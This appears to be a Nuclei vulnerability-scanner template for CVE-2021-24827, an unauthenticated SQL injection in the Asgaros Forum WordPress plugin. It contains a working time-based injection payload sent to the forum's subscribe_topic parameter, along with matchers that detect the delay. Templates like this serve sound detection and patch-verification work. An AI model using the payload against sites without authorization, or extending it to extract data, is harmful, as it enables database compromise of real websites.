id: CVE-2021-24827

info:
  name: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24827
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve2022,wp-plugin,asgaros-forum,unauth,wpscan,cve,wordpress,wp,sqli

requests:
  - raw:
      - |
        @timeout: 15s
        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and